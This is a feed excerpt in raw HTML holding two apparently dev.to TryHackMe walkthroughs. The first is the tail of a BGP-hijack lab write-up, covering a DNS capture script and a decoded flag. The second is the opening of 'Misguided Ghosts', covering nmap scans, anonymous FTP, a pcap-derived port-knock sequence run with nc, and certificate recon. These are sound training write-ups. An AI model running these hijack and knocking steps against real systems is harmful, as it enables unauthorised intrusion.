&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# push + start the capture server on the jumpbox&lt;/span&gt;
&lt;span class="nv"&gt;B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt; tools/dnscap.py&lt;span class="si"&gt;)&lt;/span&gt;
python3 tools/tn.py &lt;span class="s2"&gt;"echo &lt;/span&gt;&lt;span class="nv"&gt;$B64&lt;/span&gt;&lt;span class="s2"&gt; | base64 -d &amp;gt; /tmp/dnscap.py; chmod +x /tmp/dnscap.py; wc -l /tmp/dnscap.py; (nohup python3 /tmp/dnscap.py &amp;gt; /tmp/dnscap.out 2&amp;gt;&amp;amp;1 &amp;amp;); sleep 2; cat /tmp/dnscap.out"&lt;/span&gt;

&lt;span class="c"&gt;# own the hijacked address so the kernel accepts the packets&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'ip addr add 10.10.10.10/32 dev eth0 2&amp;gt;&amp;amp;1; ip a show eth0 | grep -E "inet |10.10"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then watch the log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'echo "=== waiting 30s ==="; sleep 30; cat /tmp/dnscap.log; tail -20 /tmp/dnscap.out'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within seconds of the &lt;code&gt;/32&lt;/code&gt; being advertised, the victim started resolving &lt;strong&gt;at us&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=28 len=84
2026-10-24T08:20:43 from 192.168.2.100:60737 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aggregating the capture to be sure there was only one name and one source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'wc -l /tmp/dnscap.log; sed -E "s/.*q=([^ ]+) .*/\1/" /tmp/dnscap.log | sort | uniq -c; sed -E "s/.*from ([0-9.]+):.*/\1/" /tmp/dnscap.log | sort | uniq -c'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;60 /tmp/dnscap.log
     60 VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
     60 192.168.2.100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source is always &lt;code&gt;192.168.2.100&lt;/code&gt; (the victim, in AS 2222's own network), repeated every ~20 s,&lt;br&gt;
A + AAAA, and exactly &lt;strong&gt;one unique name&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  8. Answer
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'echo "VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K" | base64 -d'&lt;/span&gt;
&lt;span class="c"&gt;# THM{BGP_is_my_middle_name}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;The internal domain name the victim is trying to resolve:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Appendix A — command index (quick reference)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;&lt;code&gt;python3 tools/tn.py '&amp;lt;cmd&amp;gt;'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;run anything on the jumpbox over telnet 6001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;`python3 /tmp/kssh2.py ttm2024 &lt;a href="mailto:ttm@192.168.1.1"&gt;ttm@192.168.1.1&lt;/a&gt; "&lt;a&gt;\&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;&lt;b&gt;"`&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;`python3 /tmp/kvtysh.py ttm2024 &lt;a href="mailto:ttm@192.168.1.1"&gt;ttm@192.168.1.1&lt;/a&gt; "&lt;a&gt;\&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;&lt;b&gt;"`&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;router&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;show running-config&lt;/code&gt; / &lt;code&gt;show bgp summary&lt;/code&gt; / &lt;code&gt;show ip route&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;baseline state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;router&lt;/td&gt;
&lt;td&gt;&lt;code&gt;show bgp ipv4 unicast&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;full BGP table incl. validity flags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;router&lt;/td&gt;
&lt;td&gt;&lt;code&gt;show bgp ipv4 unicast neighbors 10.1.1.2 routes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;what the peer sent us&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;router&lt;/td&gt;
&lt;td&gt;&lt;code&gt;show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;proof the hijack is live&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;router&lt;/td&gt;
&lt;td&gt;&lt;code&gt;show ip prefix-list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;confirm the filter was widened (ZEBRA + BGP copies)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nmap -sn &amp;lt;subnet&amp;gt;&lt;/code&gt; / &lt;code&gt;nmap -Pn -sT -p- --min-rate 2000 &amp;lt;ip&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;host + full-port discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dig @10.10.10.10 version.bind CH TXT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;fingerprint DNS1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ip addr add 10.10.10.10/32 dev eth0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;claim the hijacked address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nohup python3 /tmp/dnscap.py &amp;gt; /tmp/dnscap.out 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;log incoming DNS queries&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Appendix B — tooling notes for this lab
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The jumpbox telnet provides one persistent, shared bash shell.&lt;/strong&gt; Extra connections attach to
the same shell, so output interleaves and a naive "send command, sleep, read" helper returns the
wrong data (or nothing while an earlier long &lt;code&gt;nmap&lt;/code&gt; is still running). The reliable pattern used
by &lt;code&gt;tools/tn.py&lt;/code&gt; is to send a unique &lt;code&gt;echo &amp;lt;token&amp;gt;&lt;/code&gt; after the command and read until the token
appears twice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No &lt;code&gt;sshpass&lt;/code&gt;/&lt;code&gt;paramiko&lt;/code&gt;/&lt;code&gt;pexpect&lt;/code&gt;.&lt;/strong&gt; The router SSH was driven from Python with &lt;code&gt;pty.fork()&lt;/code&gt; +
&lt;code&gt;os.execvp("ssh", ...)&lt;/code&gt;, waiting for &lt;code&gt;assword&lt;/code&gt; in the stream before writing the password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nc&lt;/code&gt; and &lt;code&gt;tcpdump&lt;/code&gt; are absent&lt;/strong&gt;, so port probing used &lt;code&gt;python3 -c "socket.create_connection(...)"&lt;/code&gt;
and packet capture used a raw UDP socket.&lt;/li&gt;
&lt;li&gt;Leaving the lab: the router now advertises &lt;code&gt;10.10.10.10/32&lt;/code&gt; and holds a static route for it, and
Kali has &lt;code&gt;10.10.10.10/32&lt;/code&gt; on &lt;code&gt;eth0&lt;/code&gt;. Remove with &lt;code&gt;no network 10.10.10.10/32&lt;/code&gt;, &lt;code&gt;no ip route
10.10.10.10/32 192.168.1.100&lt;/code&gt;, &lt;code&gt;no ip prefix-list bgp-out seq 30&lt;/code&gt;, and
&lt;code&gt;ip addr del 10.10.10.10/32 dev eth0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>tryhackme</category>
      <category>writeup</category>
      <category>cybersecurity</category>
      <category>network</category>
    </item>
    <item>
      <title>THM Misguided Ghosts — Full Walkthrough</title>
      <dc:creator>Muhammad Saad</dc:creator>
      <pubDate>Fri, 23 Oct 2026 06:22:03 +0000</pubDate>
      <link>https://dev.to/muhammad_saad_ce88b4330bf/thm-misguided-ghosts-full-walkthrough-h2n</link>
      <guid>https://dev.to/muhammad_saad_ce88b4330bf/thm-misguided-ghosts-full-walkthrough-h2n</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8nzvbx2exru8c1hx6nm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8nzvbx2exru8c1hx6nm.png" alt=" " width="799" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Misguided Ghosts — Full Walkthrough (0 → root.txt)
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;br&gt;
&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;10.113.167.11&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;OS:&lt;/strong&gt; Linux — Ubuntu 18.04.5 host, Alpine 3.11.5 Docker container&lt;br&gt;
&lt;strong&gt;Attacker:&lt;/strong&gt; &lt;code&gt;192.168.176.34&lt;/code&gt; (tun0)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flags&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;user: &lt;code&gt;{d0ck3r_35c4p3}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;root: &lt;code&gt;{p1v0t1ng_15_fun}&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;HTTP tooling note:&lt;/strong&gt; every HTTP request in this walkthrough is shown as a raw&lt;br&gt;
HTTP/1.1 request. During the engagement they were sent through &lt;strong&gt;Burp&lt;/strong&gt;&lt;br&gt;
(&lt;code&gt;send_http1_request&lt;/code&gt; / Repeater), not &lt;code&gt;curl&lt;/code&gt;. Shell commands are shown as run.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Scope and variables&lt;/li&gt;
&lt;li&gt;Initial footprint&lt;/li&gt;
&lt;li&gt;Enumeration — full port scan&lt;/li&gt;
&lt;li&gt;Service enumeration&lt;/li&gt;
&lt;li&gt;Anonymous FTP&lt;/li&gt;
&lt;li&gt;PCAP analysis — the hidden clue&lt;/li&gt;
&lt;li&gt;Port knocking → 8080&lt;/li&gt;
&lt;li&gt;HTTPS service recon&lt;/li&gt;
&lt;li&gt;Web login&lt;/li&gt;
&lt;li&gt;Mapping the XSS filter&lt;/li&gt;
&lt;li&gt;Stored XSS → admin cookie&lt;/li&gt;
&lt;li&gt;Admin session and /photos&lt;/li&gt;
&lt;li&gt;Command injection → container root&lt;/li&gt;
&lt;li&gt;Container and deployment enumeration&lt;/li&gt;
&lt;li&gt;Host-mounted notes&lt;/li&gt;
&lt;li&gt;Recovering the Vigenère-ciphered RSA key&lt;/li&gt;
&lt;li&gt;SSH as zac&lt;/li&gt;
&lt;li&gt;Host enumeration and SMB discovery&lt;/li&gt;
&lt;li&gt;SMB tunnel and password list&lt;/li&gt;
&lt;li&gt;Hayley credentials and user flag&lt;/li&gt;
&lt;li&gt;tmux socket hijack → root&lt;/li&gt;
&lt;li&gt;Cleanup&lt;/li&gt;
&lt;li&gt;Appendix A — credentials and ports&lt;/li&gt;
&lt;li&gt;Appendix B — gotchas and dead ends&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  0. Scope and variables
&lt;/h2&gt;

&lt;p&gt;Only &lt;code&gt;10.113.167.11&lt;/code&gt; is in scope. The public blog/writeup was read as passive context only;&lt;br&gt;
all testing was executed against the lab.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.113.167.11
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ATTACKER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.176.34     &lt;span class="c"&gt;# tun0 address; substitute your own&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;8000
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; recon loot evidence reports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  1. Initial footprint
&lt;/h2&gt;

&lt;p&gt;Confirm the host is reachable and infer the OS from the TTL.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reply TTL was &lt;strong&gt;62&lt;/strong&gt;, which (starting at 64) indicates &lt;strong&gt;Linux&lt;/strong&gt;, not Windows. That&lt;br&gt;
immediately ruled out the AD/Windows privesc references and pointed at Linux.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Gotcha: the target intermittently drops ICMP. Later scans use &lt;code&gt;-Pn&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  2. Enumeration — full port scan
&lt;/h2&gt;

&lt;p&gt;A fast full-range scan first; then a slower confirmation because the first pass hit the&lt;br&gt;
retransmission cap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 3000 &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; recon/allports.txt &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T2&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 500 &lt;span class="nt"&gt;--max-retries&lt;/span&gt; 2 &lt;span class="nt"&gt;-oN&lt;/span&gt; recon/allports2.txt &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result — only two ports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No web port. That is the first sign the web service is deliberately hidden behind a knock.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Service enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p21&lt;/span&gt;,22 &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;--version-all&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; recon/services.txt &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Aug 28 2020 pub
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two useful facts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP is allowed&lt;/strong&gt; and exposes a &lt;code&gt;pub&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;The SSH banner confirms &lt;strong&gt;Ubuntu Linux&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  4. Anonymous FTP
&lt;/h2&gt;

&lt;p&gt;Download the &lt;code&gt;pub&lt;/code&gt; directory anonymously.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &lt;span class="nt"&gt;-r&lt;/span&gt; ftp://anonymous@10.113.167.11/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pub/info.txt
pub/jokes.txt
pub/trace.pcapng
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;info.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I have included all the network info you requested, along with some of my favourite jokes.

- Paramore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;jokes.txt&lt;/code&gt; is a knock-knock joke — flavour, but also a hint at the next step.&lt;br&gt;
&lt;code&gt;trace.pcapng&lt;/code&gt; is the actual clue.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. PCAP analysis — the hidden clue
&lt;/h2&gt;

&lt;p&gt;Read the capture before scanning harder. Look for bare SYNs (no ACK) — a sequence of&lt;br&gt;
high ports like this is a port-knock.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; trace.pcapng &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s1"&gt;'tcp.flags.syn==1 &amp;amp;&amp;amp; tcp.flags.ack==0'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (one SYN to each port, in capture order):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.236.128 -&amp;gt; 192.168.236.131 : 7864
192.168.236.128 -&amp;gt; 192.168.236.131 : 8273
192.168.236.128 -&amp;gt; 192.168.236.131 : 9241
192.168.236.128 -&amp;gt; 192.168.236.131 : 12007
192.168.236.128 -&amp;gt; 192.168.236.131 : 60753
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also pull DNS and TLS SNI for context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; trace.pcapng &lt;span class="nt"&gt;-Y&lt;/span&gt; dns &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; trace.pcapng &lt;span class="nt"&gt;-Y&lt;/span&gt; tls.handshake.extensions_server_name &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; tls.handshake.extensions_server_name | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bobloblaw321.wixsite.com
www.jake-ruston.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The five SYNs are the knock sequence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7864 8273 9241 12007 60753
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Port knocking → 8080
&lt;/h2&gt;

&lt;p&gt;Timing matters. A slow, one-port-at-a-time knock appears to do nothing; the sequence must&lt;br&gt;
arrive within a short window. A loop with ~0.15 s spacing works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;p &lt;span class="k"&gt;in &lt;/span&gt;7864 8273 9241 12007 60753&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;nc &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="nt"&gt;-w1&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;sleep &lt;/span&gt;0.15
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then verify the newly opened port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p8080&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8080/tcp open  ssl/http  Werkzeug/1.0.1 Python/2.7.18
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The port stays open for the rest of the session once knocked.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Gotcha: &lt;code&gt;knock&lt;/code&gt; is not installed on this host; the &lt;code&gt;nc -z&lt;/code&gt; loop is sufficient.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. HTTPS service recon
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;8080&lt;/code&gt; is HTTPS with a self-signed certificate. Read the certificate for names/emails:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;:8080"&lt;/span&gt; &amp;lt;/dev/null 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  | openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-subject&lt;/span&gt; &lt;span class="nt"&gt;-issuer&lt;/span&gt; &lt;span class="nt"&gt;-ext&lt;/span&gt; subjectAltName
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Observed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;subject=CN = misguided_ghosts.thm
emailAddress = zac@misguided_ghosts.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the app knows about &lt;code&gt;zac&lt;/code&gt;. Browse the root (raw Burp request):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page is a "Misguided Ghosts" login/dashboard app.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Web login
&lt;/h2&gt;

